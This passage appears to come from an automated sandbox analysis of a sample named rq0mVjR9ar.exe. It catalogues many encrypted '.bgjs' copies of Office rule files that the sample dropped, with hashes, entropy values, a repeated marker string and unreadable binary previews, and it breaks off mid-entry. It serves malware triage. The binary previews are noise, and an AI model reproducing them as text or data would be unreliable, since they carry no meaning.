Preview:	<?xml......v...A7.j.~&:e.......+......k.I.Wtq.N7a......F.W.\|.. .i :.......#...L...$....2Di.2..ko.[w7..6..T.....L7.(..W...1}w....x.Z2....,...^....%.G..%.a..e..%...j.....Z.N..H.....G^E\|...R...5z..N.^z/^.....iMw.P..PC....(..1....w..i..7t.>..$-.\|..3...E......_.8 DF.....j&....X .>.\Q..&$%..(v..1..?......)o....'...._.W..O.x.r.6O.~.....v..(.%.o.K...LB.....h..XMTe...Gw..v..g.8...r1.Z.S..@.....Lii.."x...x...9?.[{........hq-D.$.;...,'.B@..?F.`....s.+...bw..sS..p.M.......Hh.L...B.s.}..b..........;.@...].0.S!~${%.....C-.f.j..@F.4!H.Z.+....s1@........L..ZH3:.uh.P!.qMd.~.....Z_Vw~8&M.................+L.w.....m.O.X.t...l.h5.IK.....G....#......2.z.X.<E.....'..Z4.._..]&.D0...1...>Z.a...=5}.F....:y...D......Q.9.;.$....2.Q.4p...j..y..`z..2..d'.n Sg.F.!..=...Z...:.......y...dh#jx.>..U.Ny.X."..T.)6..SJr....S...Lq....V.mg.c....\.~j"J+..mG..D.3w.}. <.0.......__.)..xB$O...n.2c.V..H..&AQfI...%=.4.......{....h....!*qr..8.............I...pMW.x......xVy.0.Z/.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120607v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	537
Entropy (8bit):	7.564004659177429
Encrypted:	false
SSDEEP:	12:V1QY2AMm0KeIF2gThzirk/jUq8ndPuw1aTcPZ/ixpZacii9a:UYNMm0xkirk7UldPH1aIJiTkbD
MD5:	9BD80D67F5F6B3214853982B153A5BF4
SHA1:	859E1C43EC85FCBCC93B730E02760A1357BB36D6
SHA-256:	6B90F77541D761210BB3218F8A5E8431BEADF3451BE56DCA5BAC5CE52714FE68
SHA-512:	498CD903B94C3C552D964196F6A2C5DB7ECA023B0AF5DF2D0854C7E5136802614503F88FACAD4CF47CCDA01506491BEDFA6162F2FA09FA72010690D3A93C9F98
Malicious:	false
Preview:	<?xml...2.....wa...@.....3.{.'Yj.\|.2.z>=...+A..a./...-S...ay5..n...mD....yj.xc........D.].e.....[.I.K.Xr..d.. >E...%..,.].g.&Q....W.Z`....;../.P.6g.}.j.......8.b....Q.......5V.b...Y......]E....H..cV.D.....r..4..H}..-.P.[..253......m.d9.8..q.{.?....%.&b.+..>8.C[.(.Xf.]L....T.{..\......43....'....^..UvY".q.....Q.4.gn.Q?..D.....^.oG....jHO..e_.7..0....z....-J....rf.Ss./.[2.$W.T..X.........P.j.F..)..W...B.%.C..#.....>.....eB.A{.=....crr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120608v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2493
Entropy (8bit):	7.923020577013269
Encrypted:	false
SSDEEP:	48:k6icXVu78nepx/OLwAYST4h7keXEzK+b12HRCs/BGM5iD:fisuuG/Cwk0RXEzKH9GMI
MD5:	1B4853E2995A60917D86C64F79A1DE23
SHA1:	7D9B6A1FF134C0351D5B71D7E1C9E35627F46D33
SHA-256:	ECEE63D485AC429ECB201E827FDC91E3FC19B5272D55949ABDBDF02C51820351
SHA-512:	C9EECAA945AFEED4E98D13AC955C0DDB3FE587D0F3CEE88DEA78BA19DB7A64BCAE72BA68E298707AEE1B95EDFFEB3C1AF4C35A5153D224F5837A6B16962484B0
Malicious:	false
Preview:	<?xml..>!..?...W.1c}..q...U0.c..&....u..qizh-g.g..v.1fk.x.`....@.(....@.0..] M......H.~)E.-&...V./v..EtF..L..t......o.~....U.....!...H6!.f..)....I(b...B.:..f...>h=..8~/l]...^...O..R..Dz<.).E7.....+..f.......+...."..P..x..9es...V>.......C...@D.[...,...%.G$.#./.X.".x.l.W.i\|...F....\...=<.Ss.l6.k.........a.E..:..kl.....s....u..)%.=.:.zWDe1G..N..i.w...i...U....$I.....]e..0...U!H...Z<..&.A.xw..}.w......c........FD/..P..M..=-Y7Y....#6..`.....C...;...n.#.!..u.rQ.a5...o.B. ...5..{..x5.@........h=..].Cb..3%W...I....-M.3..(_.NG..........W..^.].....:+..<.UF1Tb......K9..C.}6.0..,rs.:...'f}7..........w..A........0....L!`...A..&s.^..$..~m.L.EB2...`s.E...i [ix.7;t.sX2iu^#...e.f.J.2.F.'.1.....C.M..............#..R.<.L.h..pf....A5..y...,q....&f(... !O.N....+..=..S)5.cpT..w#T........!..]Q4....0-\|wl`.k.......96....^.0\|^..."(...BR..'..Q.r1..nP.@.,EN..q.<.8.0.u.{......>4..O.....q...~(.^..&.D..-...#.8@.bO....-...1....}..Q..K2..\|[.epPD.P..n!UC._....;.p.... ){(

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120609v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.710142067607281
Encrypted:	false
SSDEEP:	12:J3bgrB4negTgGpQzGXfAwfusdMaLG2j2TPVVsaEEo3f5xujqGBU7Wn1ch8qqixpW:teB4negUepvjfbXLZSPVWvTf5xsqqU7K
MD5:	2A9096A051916084E589FCC7A1E403BD
SHA1:	14BCF356679B9B40EA138E0BFD4FC2CBAD28731B
SHA-256:	D8905BC0DD2951E8285312D384CF954CD1EA49F5C08D0BD9CCE8C8C9B51A014C
SHA-512:	3A4EAAB0B8715E027EEB2B6E922ED5F853D2DEAB6818802F6F745F0C9FEA753281AE05D3546AC75FAD86B86C0C3094810385B290C08A5D92040397D15EA40535
Malicious:	false
Preview:	<?xml.9k..s..)..e.Y.qt.e..T.w..D.\...D..ez.../...FU&4...].].........;.....W.....\|.W.O..\|$..>rEj*./S.....$.u\|..I.'..m......S~.Z1.4. ..nY.....\..5]..Iv......:9..`.\|..k7$.[...z.i.....M../..=S......?.m....Do...4H...D.Eh.H..Cr.uI..Ml..(Y......_......6....\|......Q)}.H}(h......1.u.s.!..("....i..14[..Y^pi.......k.w._]$@3..=..eo.m..nJ!...:n.....D...s.x.3..e.-\...NM...D..;..%.J.....H.".Y......B.W..<.-...F..$.h.y....$...e..\|.}U@t.i...a.:B.7.....[E..g....9Jy.....`<t.p..-.)DsnW[.+.OA...5poP.CT..{)s... .....R.f^.Z.....?F....l6....3..%..Oj...P.....p.,..$P[..]v..l...i#....F...B..._m.....q..)._.}.U.?.-.9H...........c......OTt{./.. ......P..Ls.`.(r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120610v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.659653878343866
Encrypted:	false
SSDEEP:	12:NXU5X8/QYrSkzvQ45cYt/59cUGyqFJQ1UZm1eWbXEuvQC/7Pd3GELsoOLLtGixpW:NX1/zrCAtR+SqtQbXlNWvoQEiTkbD
MD5:	98B843ABBE5F260AF2204943EB1016AF
SHA1:	1758F0549FF659BA5F497FB31C8B9B5DB7A2B42F
SHA-256:	5F002F5C68FE85CEE9D4701209C2D6BF46BAD33994061E1B3A7C20FEE32285B1
SHA-512:	512C5E7275E9E7620D890A81C943C92B06AC9D5BDFA9EA88306A57AD75D010773087078E0957035F7986B2C7C9448E497218698FA5F3CB4FCBCB705EDF7EEF34
Malicious:	false
Preview:	<?xmlgd.o.u?.=S"..d.m.B....,..d.&..^i......4..T:.'....7...#.....g.o....O...u,.6VV..YL;...-P$........6....~O.p=..5.Ee'<..Zm...[..B..........t...uN_X=S....s.........A.n....j^.C.=..0..D..?.AQ.x.E.8;.<~.....H[.Xy"....)^.G....Eh..V.<....Lg.B...jEY.(.=.......\o.......g.G...e0h&.V?..X ...1>k.1..I`..$...8.ea:X.$.D...L R.B.{............v.M'$...kY....7>.6...4R...Pt.$>./..WX,..u.P.....y..[.k../..$.....).ZTCR?.n8VwrG....P}n...}C......'.m.4T...(...LS...Q?C...=..,..-N..~A"5...oG..D.....3.(2Ig0.....B......DpV...~...N.....Y...p.A}..i.c.N.!...d!...~r.N.%..=r=.P..u.{..M[.d...EE..?[..>.o@... ...L.P.j2..I7..=O.mC._.M.{G.......2z...........s....F`@2..[n.s.\|.S.7...o.`....m.......;.G..RJ(...Hf.....~m$kn..&'n.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120611v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.690103530491812
Encrypted:	false
SSDEEP:	12:MRP2+Y5t+kAm7DJv+V9sWofnU5oaKErRIi+YzVFDOk7DbcUspHuixpZacii9a:M9s+krD92LofUCvURIvYzvtcUUuiTkbD
MD5:	A690CDAD0FFD2AB3AB247CFCCA7149EE
SHA1:	68A71E4706660FDE6A736C077A0BEB81666189EC
SHA-256:	AADA195151B295E1C0BEA8FBCFA1532894BA083E7749D559BD7C42C8E9090784
SHA-512:	4DB3C7D300E06EB7EB7BFF2A519A737970CE3512BC9E7EA53F5A68F3EDE571D37EAF549513D603B81757304B207EB5CEB2E378FC73544B793244B85974012710
Malicious:	false
Preview:	<?xml.#..(/j.AU.~.u.....%.p#..#....piF.......Q...M3....7G..V3..~l.un..X..^Z...kgF..e..........os.......sy..kV..q.Q...7...]..s.E.k...Y!HU.C....F.u..E...,\|{.l.c..y..._.?ipt/....I.Y..'..3_&[..5h.@..O...\|.Kc..u?.....Br..K.^......w.)]...u..V.y...={e ..xW!4.d.q.].....6.Q._......[X..#.#.."s.n.......x.>b.h!k..9.W.UY.../.?...T.hXk...r"..{..7biD......&..n.v......e.f..:.LG=.F..B...4.....A.\...\|..mN\.v.r..E/.q%..Ys.gs\|..7....mT.F...jCT.b.......o.....h.k..~....N....v'..>..o..b...g.........h9m.+7..~J....IL.)ZW.f....)j.......7..L..2...Vg...x...c.QC...J{J..i\|.}....w...k.y..Od.t....."6...>1.tgBb..+.]..G.....l...y..wu..s.A.x....Z....\|..=......4.Ar6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120612v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.744295659905513
Encrypted:	false
SSDEEP:	24:GIlXZfaa42guMyluulIxTLKc2HGH5fFiTkbD:Gda42guMyluwIRKc2HGH5f8iD
MD5:	6B538BEBAAE62A574CF1E845B2D29E15
SHA1:	4CBEBA23F4D9DD2C13F6144EA4B8697B7F6CB94D
SHA-256:	E5319F2D69FA5319FF95B8B7CF3CFDFDC2C9A783C0A1C494A384D20ECB3803C7
SHA-512:	EA286A07C7B4E57A7700707BDDE67A708C7963FBFE846AEEE79E187E46F75275D1CE461C48DC09C2C157B4BACC20706F3EDF2DE3DFC77DCE92140AA48CAEB04A
Malicious:	false
Preview:	<?xml..]...../.kd....$....D...L.....[p..z.....\|..3`.....8`R&..... F...o .....]<.....Y.3.............Q..Y.lt...n<.vr..........u.i...!I.J.q.......3..y......L...F.}....C....H...#.......w....`...WL..9...~w...$....K..}...T..Q..+...V..C.^+k..d\.. ...Q.f......}.\|.p.a..g.$.N.WN~.x.S.{..OC=9....os.w".[..Q..lj$.<......"*m....e.....W=..2...d.@;...%..gE..$.E.gB>n.=..y.X>..@.^N.$.G2"..?a.m....V.T..._+..\|...y.DG......7.{z........A+...1.........s.y..o..<Q.M...G......N.X...Uz.."k..,}.@g.{...v..ZN./..w45[..!..2.[0..z.S.......ZpT.+`0=..<f;.."}....y..E0.."..:.U.<.E.h.U.F........D./.......P.f+..iU.0'....J..]..x..&7......x.........:...VUrJQ;..#}....>....L..{......E.G.-..#7.......].8Z.B...pZ7..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120613v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.795064991056117
Encrypted:	false
SSDEEP:	24:63XlD0rsVRmiFoNybca4vprV9Sjpcnezkx4qiTkbD:mVDasfghaopR88eB/iD
MD5:	41805DB3B284E8C45FF4F8E3F2E0BE46
SHA1:	84E25745892784388EA87BD27B7CA2F9CADFD609
SHA-256:	84FAE79D6D03387A880AD1226DC9009986BC9703D0D94E339959AA35F42EB587
SHA-512:	2AE27FE19C7024BB3AFC597F52B0E3D11A75409054A0E525194B9B2369B434277D666F8824B48095242C36B2B097795FF9CAF44BAB20CF727082CD0E49E4D07F
Malicious:	false
Preview:	<?xml.w.,W...W......Ma..Z.p.......M...yJF.........../.hz..&<..g..%.(f ...5...bP...n.9..L.T....c.......O.1.~/....P...4$g.6G"$F9_...?..C.p.....p8n......e..[...K.4..wlW...A.D..aC...!+..K,Y5..d.."Ky.f...a.{.JrF.\..G....yw.j`X.1....V0.....;..uc^p....5......X-G..c.......Ej.\|.~p.W.{$...)...Q.,..c!,..}..v.{.`l...~.....&.a.S..".(.......m..x....V..........)......!.;.X...,<...e........nmc=H.z...~.....F.D..._...h.....@.K...u.05....$.9....6..[/\|.....r..2..x.o.......\.....M....a.{.t....\..l......`......7q..g.8l.;..6..v.j...e._R..8.I..}..O.I...i.\.mq...U?J..9.n..C...8..C.J .r.N'.!...)......=.b...Y..'....U..9~.[.Af%.:>..3qw.MYZM....voX.....u.......x..4k.5..[.(.n...0..ub.E..B.2,0.....k\|.f.X.....-w..Z/[RoKNj.oJ'NAy%=....\....)sbT8j.."..#.............K..T.......09N.=*.......\..L..\..<.>.K.:....B....q+...C.gb..5._....g`I!.\|....2..J......D.B...K.?.Y.3.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120614v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	800
Entropy (8bit):	7.733259428093536
Encrypted:	false
SSDEEP:	24:wtCRuzW/h2p9VmgtRziyu1JmtwFB5iTkbD:wPzMh2pDPzhuiuBYiD
MD5:	1366897629C975896C9B128073F624C6
SHA1:	458BA996BBC61F5C18E973C38728B3DB0496E3E3
SHA-256:	9B6BB210B865EB3BAD041B6CE808DDBBB4BD85DF04EF9C037037FE1FAE8B0911
SHA-512:	1EE50CEDC1E198A5E1EC72078E734A3F7E8B7B4FA3C3F0DDABA54A94FA4CB43F3C981B85017775DAC7B666D619FB06322B2DE73E92CB1C549902FAB26E50689E
Malicious:	false
Preview:	<?xml....6;..'.h,.0F\.r.....8i... ..R%J...B~4.u...&.F\|...uh..E"}.1....[.x..P~(v.A..{g.....`.....s...(K.......#.-e..,=...!._..t.r.2.4@.l..V..n..SO......."p.t..[5...`C\|..../...8..R.+.7(?...u."M03Z.1....I........eO.K~......\|g.a[9?......i....A.u5....tF...../..,..f....m.>.N.a.5\|.G..........6$.....aU^I.........kJ....6x-R..e..T.B... .'......Q.p.V......1.?......U.I..H..<3n.Z.......K.._(vD.N>...l....y...H.m....wn..........hrhUS..$Q.......Ca..Cu.=.z.6.j..Z'....w..5....;..J.5.....g..Y....a.@........Z....@y./.g...O K.......x2.J~....P...B.7.P...q\P..2."}.U0.k.....T..`..N.<_$y...=&....d.EW.t.\|..?...e...Z.J`......jB........\.-.WU`.-;ZU;9j.o...>....]..w...H).R..P../.3...6.`k.....b.at...).\.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120615v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.722637542585465
Encrypted:	false
SSDEEP:	12:Um0p8fFq36rPULnbmzm4s5imcRJizuD2H57RJWW6pS0CgztQG0EHUODl9uQJ9ixU:JH9YiP06zj2i3JizuD2Hhn6RztQG0oF5
MD5:	2108F8D8400724501BEFC2FE86F66A9C
SHA1:	EC437ECC0CA5ACC46EF53F8695DBA12FCAA65C8A
SHA-256:	579FC8B7F755F1E9C5ECC5F1FA85B9815D4462A654130035B5E6C13773727AFC
SHA-512:	1C077444DBEE9C901ED71E5719E975291CDCA5112B7EBF0A71E7D6215AEAA7237181C37538739960EA9B3498587F5E332120F291119C03E6FFCECA03D6ED33DF
Malicious:	false
Preview:	<?xmli=...{z.......g.i......Y.}..v.2j..i.,..:E..aF.,...3W..R+.H.e...'f....Ct6...)....?.b.8.R..wau..?...a07.....q(...&....H.....g.....M...........G.....73.cn.t.F..w.........P.m....{Q..\|.>;(.P....N..-y.>T.1~dN..y...$..X.].l.8...W:...6Q.".#.......R./..U.Pe.~....:.OqVTWc.V.....l.XP....@.m....=.v...j.zfM...xA...K.2.B....../.b9...q.]...r.....D.J..H.....}.Y].a&..JmT.u...\|....qhL4.\.....N...\|6..J..A..Y..O...]...2.`3....[.D.....r....!...o_.^i.b...g6....}<.I..g..Q..}ix4._S%.[w.2.......7.le.._..\..);...S.M.0....'H.F...C...T........L.w.Ko7d..........o....=WY:'.K...o._.w.tm..C2..U...%.i.)e&W...j:..R.f..g.]0...GU....'.`..E.%.\;..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120616v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.734927386966967
Encrypted:	false
SSDEEP:	24:avrZs7L7VFtVtD3Vx/VPkfCS1f7osLcdmMiTkbD:aDZs79Fp5LuzLcUliD
MD5:	D48D8F01FC2D0F98358F84813610A6A7
SHA1:	F0A1C75EB772ED0F8D3A7AF595AFAB9E3C1A1A9D
SHA-256:	A0628EB31E82CFF2402634DED7BCEA488436D47220BC777CE721D71EE0D3C5ED
SHA-512:	EA89AEFAC80F7077FF90DE68A9C3AA27DEC8D7A2319972450C8462C73A0E2B6018583A7F541C7B8C572EBE471124C79E4832B55B8764F26FDA761FBB05B38E38
Malicious:	false
Preview:	<?xml....2g..g...%.....M.....O#.Ah.(..........q..\|.].....q...y..-vi.Y...=...O{....:.a.e..3F.k.....t.......8\|.\|c.....}..V..&.K.z...I..d.s..f.?.....2....!7zYm6...sJ&.V.. .O.D.<w.up......X.T..3..XC.#.....E./...FzEk..s.3...!7B..3.O.....d_)...V....9];=,{N......T3.....VOe%,.Z.......vJ.e%rp._d.4.d.^.b..P...w.ws....Q5<..."..j..O.....C(._.J.].K.XOk......t4..G....O.".....e.f...v..J.[...H.......l.nN.Jm.X(.....z)..-...7.i..a.@.e..[.^.b..rV...o..Y.F.c...-..&..\o.mb........]..r.(+..b...w;.KV2....'Q..x. a.%....E`....t.E.^.0n..f._....~...,N.C..7zF...S..}..r..M~w2.........M.wGu]+....x\i..Q.x.....8V{_....G....d,........_...@..,to$*....D..(]Xfe.4...a......M..}^..Ka.I,.a.4..._..\...{.A....AS..?.hP.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120617v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.752501620546294
Encrypted:	false
SSDEEP:	12:o/aJxKM83QVVLiulfchfh306FDJcsh4Jqv1bvEdThixpZacii9a:oiJgMwQVVLdlfMfh30KHSioTiTkbD
MD5:	4E0051EF29884A75E6AE02D7834F8A64
SHA1:	44AB0CEE71A13B0B38D25A13F2F211A6FF641433
SHA-256:	B24463D07502C21E5B99EF83E418EA1602D15983056861BBC1F4AD76C3C22DC9
SHA-512:	1D9068A370B53D3F87044E76B373C72A49DFC1B97657B75B5496F888CE33560F7231F226AF08E5205098ACF2C166D57D5330D010CEC096061F0063A794EF5417
Malicious:	false
Preview:	<?xml.?.p....D4.1u........C..n.f.....7.M..u".a,\|......vC..R.K.O..6Dx...a......E..U#6D..=~ZG.B....F.V).).9.....o.R;.%`W..c-........./K...\|.~.e.....O0.7.L.HC\|..U..~.c...~.Re.=.5..R..5;5IJ-...$`..P...}.d.#.]B..8.....>\|...6.v...6.W...@........\..1.b.....N.]..i....g5c..t.....U...S.x..1h.&.^..{......:.1.s.. .!.U;.o.KX\|S.Z...$X.4Rf7la....d6.H.R^%.F.q.=.i..Z..I..U......}.>...i...{.....pcw........H.-...n...m.L..`Q.S.{..M#H.k.......tH@._......C.j..&.[..AW+......m....l=..~(..O.>(.....^i.q...q......e>.J.S.,.....V..+..%.8...........Io.i.......k.'..a..X.9..s.....lKV.........E.f........<4....}..$.h..Z...].H.P5.....z.E.D1.h.<......o...<....H....[.o...r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120618v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.691953798410417
Encrypted:	false
SSDEEP:	24:0eBqvLsd+ThU9KeSpjLO0i3AkDcXGiTkbD:0eBqjE+7LO0iwk+iD
MD5:	52851D4828FE039CFE3F24140F4F7321
SHA1:	D3B3394405578159B8ED7D405E3E1DB25E19B2BB
SHA-256:	0AF6D2D260F8278DC4B1301E3C01AD2513BE67C67B02E03C95601C565CD66F86
SHA-512:	916FD1BB4EE26CA53524E4F2840D52A89EB95D1F1DBB2EEE00DE78F1CAD11777800DED2E225D54944D4023C2A2CB370B9915DBF53701F209A8C6D60BF6205578
Malicious:	false
Preview:	<?xml..!..j....I....ol.......$1...W..(.@..2..$.]z.X.`....s.S.\|..wy....e......H.%c.+..R._..(.fIuj..`..........{c=..."...f.$X..._n....Sn"....E8.oT...)"..^.+.(..A4...tS7EGo\|...>5".-...0...U.z. ..{....\|l.)Ft.D`.F.............m-..j.....bdfF...3E... .]Z!...5/}..Z..n4r.[.........z6...p..P...........Z5.c...".3.NU..mo9...v...Y...Q.w.R&......,@....g.yt7.s.lq........M....j..J!..x."21...N.N..U.1...a...6Y".DK.a..<..-)!T.Ey..t.;...._....H...@....,".[.r5...f..EB9.Lq..f .v.b.p..Zn.....b.G.......{.T.....q.PTN..Xy.m.QAgEd.g....,B.. [.D.HZ'.a....O0.H.cf.$.!..%d..BA..%..y...4t@_.:U.. ..V..j.....(...c..?..qU.G!O.0+...!...i...,.0R..........^+......``.S.r.@.Kiw_W.:.2...Y.Eq/.c.Iw.m:...._Jj"\|./....'..}.hY.....2r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120619v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.68892922982303
Encrypted:	false
SSDEEP:	12:n2Gt71M7FjeTkM+Hj8UAfTkEnMHtsqpfRzN0K3GXBqJpqoEWof5eixpZacii9a:n2wUjqkXHjtZEquqDzN0KKQJffweiTkX
MD5:	17155C77B2C6DA68F9294404EC8235D8
SHA1:	B2365616E4348DAF24730BF4D675A393B275E75A
SHA-256:	50C928B59BCD7D8B3A59A9BB5FAB2583F7A1A088D3C63D9532FF3771A61449D5
SHA-512:	04FAB5664FDFCE1C915406DE9DB604A9F7DD7DB9EF9B13C94C0968B400F55EFB2732AE2D21C4B1D5E5D025F098432255D8C234F12DBC29696327F338A0E51958
Malicious:	false
Preview:	<?xml....J..8...s....%...h..>..W..-.!.`J#..p..".1.(.-.e.Q.......@+......$.i.2..s.....R..S>..wsV..&l.....7..$..~..C.`...Z$L.}......X.......s+.:\|q....F...0...5.N...G....D.+.91).....y.RX.....(e.....Y~..-.Bj.)[.,(....%...uA..].y..M......l...\F...-.....I...E. N.=T<E..C.{J..7.....ZG...sA_-.)i/..X...........,.Q...<......T......3T.a..nRm..%`...>....i.^....av..<.A..jy1.]..w....&...3i.pe.!P1....4...'.........p<....\|x...R.`.j..^.,rQ..B.z&!._k..W.1.H.U.TK'UdYA.c+F..ib.*....&...%i...qk.....x'..sm.O.6WH/.>.O.d....FkG...-..Pd.G...hR2K.Y...<........#.....tK<......5.......4.\|.n...-.t.........n...\,.@..\|.5W...9...{......D.h.....,.l..or6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120620v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.7587257927794
Encrypted:	false
SSDEEP:	24:+vfuHSlwFCN2mIMwww+0xd6KUMmKaaQeVmlsjniTkbD:+vfuHSlVIBJ36FnKjVmlsjiiD
MD5:	2D4C22B545924360A6FC387118A703B7
SHA1:	762B88B2897DAFE549598B54B72C0FA3661149F0
SHA-256:	9942308AEF05D89257C9B6CE68CE301F566C9BC3EA8A12FE4FD0645D8864C264
SHA-512:	04CB79B7A9CF93B084BF6AF73108817CD4BBDBD7265B941BF487E6D6873AC3421BC7C1F0E3E47756546D182047EB014612E33E299924877A1854FCB6BA922595
Malicious:	false
Preview:	<?xml..D..o.Z_.#....f..3>RB..#1S....j...3..W...u..:A.Lf...g...6..M2;.........m...........mf...Nm.....(j6.3z.!....^...c.I\.U...........$...........U...)....<.e.. ..2...J.c..>6s....>..X.}..J;...(\|...y..'.4_.#M.K"2+zr.S.....%Gx.W......r...Q ..A5.9.3.N.t....`.....O..9jP...8...'@H.gV....'.Z...9E..K.0n..y.\|......k..z5..9.;9..\.....%r..K..M...N~2.){....9........4d.yN...'m...B;5.8.C.....P.......mf.)).YE,GF..R.2.s..cG3....zj...p...H...&{..+Ob.!!.....+..A..M<3..;.Q.....,R...ZH.0...F...Ml& ....sU./k..Q..].1.pg......s..Mv..a...f=1.N...1...O...[Lr.........Wo}z...\M...{.N/5...6......Z.v..#.B..q...9I..F0g..j...'..>..XWuI..i+>.oN...Q.u7..._.Y..._.Z...x3Q~...>P<\|......}<.g4s.`..{...r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120621v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.699124449298882
Encrypted:	false
SSDEEP:	12:qJ51B1AJNhUKbuFjK7+H7KhRa55wfewRGSv6YTS6OBf/ePpe0mizixpZacii9a:I51YJNemuFk+bKe50ewdvTTOBspe5ciq
MD5:	CB905FC40352D1052CC3B1C6497BF28B
SHA1:	775DDD33AF9D8CB8FA99AFD22FB4F422F0261045
SHA-256:	B3DA566F823D30F8826AC98D43578A71ABE0B656D9D3BF6549F966720DE121F1
SHA-512:	C61D04AAC03379A6FD6E2C420252BC9C9BBE66B0F01D3F6AC1AC4902F11F2D4F4306433B0437F0447B6947821F20AEA6DE78100E7D87C525EAADD2E19C5F566C
Malicious:	false
